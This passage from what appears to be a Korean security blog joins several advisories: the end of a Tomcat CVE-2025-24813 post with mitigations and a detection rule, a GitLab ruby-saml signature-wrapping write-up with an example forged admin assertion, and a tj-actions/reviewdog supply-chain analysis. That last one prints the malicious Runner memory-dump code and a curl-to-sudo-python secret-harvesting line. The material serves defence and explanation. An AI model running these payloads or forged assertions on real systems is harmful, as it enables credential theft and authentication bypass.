 Apache Tomcat 11.0.0-M1 ~ 11.0.2 11.0.3

 

- 쓰기 권한 비활성화 및 부분 PUT 비활성화

> 쓰기 권한 비활성화 : conf/web.xml에서 readonly 매개변수 true 설정

> 부분 PUT 비활성화 : allowPartialPut 매개변수 false 설정

[사진 5] conf/web.xml 중 allowPartialPut 관련 내용

- 탐지룰 적용 [11]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_12, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-24813
[2] https://github.com/charis3306/CVE-2025-24813
[3] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/
[4] https://attackerkb.com/topics/4GajxQH17l/cve-2025-24813
[5] https://github.com/absholi7ly/POC-CVE-2025-24813
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71687&menuNo=205020
[7] https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
[8] https://tomcat.apache.org/security-9.html
[9] https://tomcat.apache.org/security-10.html
[10] https://tomcat.apache.org/security-11.html
[11] https://asec.ahnlab.com/ko/86938/

1. GitLab [1]

- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼
> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition

2. 취약점

2.1 CVE-2025-25291 및 CVE-2025-25292

[사진 1] CVE-2025-25291
[사진 2] CVE-2025-25292

- 오픈소스 ruby-saml 라이브러리에서 REXML과 Nokogiri가 XML을 서로 다르게 파싱하여 발생하는 인증 우회 취약점 (CVSS: 9.3) [2][3]

> ruby-saml : Ruby 언어에서 SAML (Security Assertion Markup Language) Single Sign-On(SSO)를 구현할 수 있도록 도와주는 라이브러리 [4]

> ReXML, Nokogiri : Ruby 언어에서 XML을 파싱하고 조작할 때 사용하는 라이브러리 [5][6]

> XML 파싱의 차이로 인하여 공격자는 Signature Wrapping Attack을 통해 인증을 우회할 수 있음

영향받는 버전
- ruby-saml
< 1.12.4
>= 1.13.0, < 1.18.0

- Community Edition(CE) / Enterprise Edition(EE)
> 17.7.7
> 17.8.5
> 17.9.2

 

2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)

- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷

- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술

 

[사진 3] 동작 과정 요약 [7]

단계 설명
서비스 요청 - 사용자가 서비스에 접근
> SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동 - 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송
> SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청 - IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답 - 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송
> SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함
> IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송 - 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답 - ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩

 

[SAMLRequest 예시]
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="req123">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">sp.example.com</saml:Issuer>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <Reference URI="#req123">
        <DigestValue>req_digest</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>req_signature</SignatureValue>
  </Signature>
</samlp:AuthnRequest>

[SAMLResponse 예시]
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="resp456">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">idp.example.com</saml:Issuer>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="assert789">
    <saml:Subject>
      <saml:NameID>user123</saml:NameID>
    </saml:Subject>
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
      <SignedInfo>
        <Reference URI="#assert789">
          <DigestValue>assert_digest</DigestValue>
        </Reference>
      </SignedInfo>
      <SignatureValue>assert_signature</SignatureValue>
    </Signature>
  </saml:Assertion>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <Reference URI="#resp456">
        <DigestValue>resp_digest</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>resp_signature</SignatureValue>
  </Signature>
</samlp:Response>

 

2.2 Signature Wrapping Attack

- Assertion, Signature가 여러개일 경우, 순서가 다르게 들어갈 경우 제대로 처리하지 않을 수 있기 때문에 코드를 삽입하여 Rewrite 하는 공격 [8][9]

> XML 기반 시스템에서 디지털 서명 검증의 허점을 악용하여 서명 검증 통과 (인증 우회) 및 조작된 데이터 처리를 유발하는 공격

 

- 정상적인 경우 <Assertion ID="~">에 명시된 사용자 정보(abc123)를 <Reference URI="~">에서 찾아(#abc123) 검증

> 명시된 사용자에 대한 인증 정보가 <Reference URI="~">에 저장되어 있음

> <DigestValue> (메시지에 대한 해시 값)과 <SignatureValue> (메시지에 대한 전자서명)를 검증해 인증 여부 결정

 

<SAMLResponse>
  <Assertion ID="abc123">
    <User>user1</User>
    <Role>user</Role>
  </Assertion>

  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="..." />
      <SignatureMethod Algorithm="..." />
      
      <Reference URI="#abc123">
        <Transforms>
          <Transform Algorithm="..." />
        </Transforms>
        <DigestMethod Algorithm="..." />
        <DigestValue>"..."</DigestValue>
      </Reference>
      
    </SignedInfo>

    <SignatureValue>"..."</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</SAMLResponse>

 

- 공격자는 조작된 Assertion 삽입해 인증 과정을 우회할 수 있음

① 조작된 Assertion 삽입 : <Assertion ID="attack123">에 User=admin, Role=admin 등 권한 상승된 정보 삽입

② SAML 서버 Signature 검증 : <Reference URI="#abc123">로 서명된 정상 Assertion만 검증 -> 검증 통과

③ 첫 번째 Assertion부터 처리 : 실제 처리 단계에서는 첫 번째 요소를 읽어 인증 정보 처리 -> attack123 참조

④ 권한 상승 : 조작된 Assertion의 admin 권한으로 접근 가능

⑤ 추가 악성 행위 : 계정 생성, 데이터 탈취 등 추가 악성 행위 수행

※ 기존 서명 검증 대상과 정보를 남겨두므로 인증 과정을 우회할 수 있음

 

<SAMLResponse>
  <Assertion ID="attack123">
    <User>admin</User>
    <Role>admin</Role>
  </Assertion>

  <Assertion ID="abc123">
    <User>user1</User>
    <Role>user</Role>
  </Assertion>

  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="..." />
      <SignatureMethod Algorithm="..." />
      
      <!-- Reference: 서명 대상 지정 -->
      <Reference URI="#abc123">
        <Transforms>
          <Transform Algorithm="..." />
        </Transforms>
        <DigestMethod Algorithm="..." />
        <DigestValue>base64-encoded-digest-value</DigestValue>
      </Reference>
      
    </SignedInfo>

    <SignatureValue>base64-encoded-signature-value</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</SAMLResponse>

 

- 여러 유형이 존재 [10]

구분 설명
XSW1 기존 서명 뒤에 서명되지 않은 내용 추가
XSW2 기존 서명 앞에 서명되지 않은 내용 추가
XSW3 기존의 Assertion 앞에 Assertion의 서명되지 않은 내용 추가
XSW4 기존의 Assertion 다음에 Assertion의 서명되지 않은 내용 추가
XSW5 서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 원본 Assertion 추가
XSW6 서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 변조 Assertion 추가
XSW7 서명되지 않은 Extensions Block 추가
XSW8 서명이 제거 된 원래 어설 션을 포함하는 Object Block 추가

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [11][12]

> 업데이트 적용이 불가한 경우 GitLab 권고

① GitLab 2중 인증 활성화

② GitLab에서 SAML 이중 요인 우회 옵션을 허용하지 않음

③ 자동으로 생성된 새 사용자에 대한 관리자 승인 필요 설정 : gitlab_rails['omniauth_block_auto_created_users'] = true

취약점 제품명 영향받는 버전 해결버전
CVE-2025-25291
CVE-2025-25292
Community Edition(CE)
Enterprise Edition(EE)
< 17.7.7 17.7.7
< 17.8.5 17.8.5
< 17.9.2 17.9.2
ruby-saml < 1.12.4 1.12.4
>= 1.13.0, < 1.18.0 1.18.0

 

- Signature Wrapping 대응 방안

> Reference URI로 검증한 Assertion만 실제 처리에 사용

> Assertion 요소는 반드시 1개만 존재하도록 스키마 정의

> 최신 보안 라이브러리 사용

> 모의 침투 테스트 (ZAP, Burpsuite 등) [13][14][15]

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25291
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25292
[4] https://github.com/SAML-Toolkits/ruby-saml
[5] https://github.com/ruby/rexml
[6] https://github.com/sparklemotion/nokogiri
[7] https://gruuuuu.github.io/security/ssofriends/
[8] https://www.hahwul.com/2018/07/13/Security-testing-SAML-SSO-vulnerability-and-pentest/#signature-wrappingxsw-attack
[9] https://www.hahwul.com/cullinan/saml-injection/#signature-stripping
[10] https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SAML%20Injection#xml-signature-wrapping-attacks
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71680&menuNo=205020
[12] https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released/
[13] https://www.hahwul.com/cullinan/saml-injection/#saml-in-zapburp
[14] https://www.zaproxy.org/docs/desktop/addons/saml-support/
[15] https://github.com/CompassSecurity/SAMLRaider

1. tj-actions/changed-files [1]

- 리포지토리에서 파일 변경 사항을 추적(감지)하는 용도로 활용

- 약 23,000개 이상의 리포지토리에서 사용중

2. reviewdog/action-setup [2][3]

- 코드 리뷰 및 정적 분석을 자동화하는 데 사용

3. 주요 내용

- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]

> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작

> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음

[사진 1] 공급망 공격 과정 요약

- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]

> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드

> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]

[사진 2] install.sh에 Hardcoded된 악성 코드

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                if b'Runner.Worker' in cmdline_f.read():  # Runner.Worker가 포함된 프로세스인지 확인
                    return pid
        except IOError:
            continue

    # 해당 프로세스가 없으면 예외 발생
    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    # Runner.Worker 프로세스의 PID 찾기
    pid = get_pid()
    print(pid)

    # 해당 프로세스의 maps과 mem 파일 경로 지정
    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    # map 파일 및 mem 파일 읽기
    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        # 메모리 매핑된 각 영역을 한 줄씩 읽음
        for line in map_f.readlines():
            # 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)

            # 읽기 권한이 있는 영역만 대상
            if m and m.group(3) == 'r':
                start = int(m.group(1), 16)  # 시작 주소
                end = int(m.group(2), 16)    # 끝 주소

                # 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
                if start > sys.maxsize:
                    continue

                # 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
                mem_f.seek(start)
                
                try:
                    # 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
                    chunk = mem_f.read(end - start)
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    # 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
                    continue

 

- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨

> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입

> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드

> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]

[사진 3] 삽입된 함수

# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
  B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

 

- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력

#!/usr/bin/env python3

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기 
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                # Runner.Worker가 포함된 프로세스인지 확인
                if b'Runner.Worker' in cmdline_f.read():
                    # 찾으면 해당 PID 반환
                    return pid  
        except IOError:
            # 접근 불가한 PID는 무시
            continue

    # 찾지 못할 경우 예외 발생
    raise Exception('Can not get pid of Runner.Worker')  

if __name__ == "__main__":
    pid = get_pid()  # 대상 프로세스 PID 획득
    print(pid)  # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)

    map_path = f"/proc/{pid}/maps"  # 메모리 매핑 정보 파일
    mem_path = f"/proc/{pid}/mem"   # 실제 메모리 접근 파일

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # 매핑된 메모리 영역 하나씩 확인
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)  # 시작-끝 주소, 권한 파싱
            if m and m.group(3) == 'r':  # 읽기 권한(r)이 있는 영역만
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)

                if start > sys.maxsize:  # 64비트 환경에서 처리 불가한 주소 방지
                    continue

                mem_f.seek(start)  # 메모리 영역 시작점으로 이동

                try:
                    chunk = mem_f.read(end - start)  # 해당 메모리 영역 읽기
                    sys.stdout.buffer.write(chunk)   # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
                except OSError:
                    # 일부 보호된 메모리 영역 접근 불가 → 무시
                    continue

[사진 4] tj-actions/changed-files 침해 요약

3. 대응방안

Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)

- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]

> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체

> 또는 사용 중단

 

Action 워크플로 실행 로그 감사

- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인

> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것

[사진 5] 악성코드가 실행된 경우의 예시

관련된 비밀 정보 모두 변경

- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체

 

GitHub Actions 버전 고정 : 커밋 해시로 고정

- 특정 커밋 해시를 사용해 버전 고정

 

GitHub 허용 목록 기능 활용

- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성

 

Reviewdog 의존 Action 점검

- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요
> reviewdog/action-shellcheck 
> reviewdog/action-composite-template 
> reviewdog/action-staticcheck 
> reviewdog/action-ast-grep 
> reviewdog/action-typos 

 

관련 로그 삭제 또는 환경 초기화

- 워크플로우 실행 로그 등 관련 로그를 삭제하거나 초기 환경으로 초기화

4. 참고

[1] https://github.com/tj-actions/changed-files
[2] https://github.com/reviewdog/action-setup
[3] https://github.com/reviewdog/reviewdog
[4] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
[5] https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
[6] https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
[7] https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
[8] https://github.com/reviewdog/action-setup/commit/f0d342
[9] https://nvd.nist.gov/vuln/detail/CVE-2025-30154
[10] https://nvd.nist.gov/vuln/detail/cve-2025-30066
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71685&menuNo=205020
[12] https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
[13] https://www.dailysecu.com/news/articleView.html?idxno=164623
[14] https://news.hada.io/topic?id=19770

+ Recent posts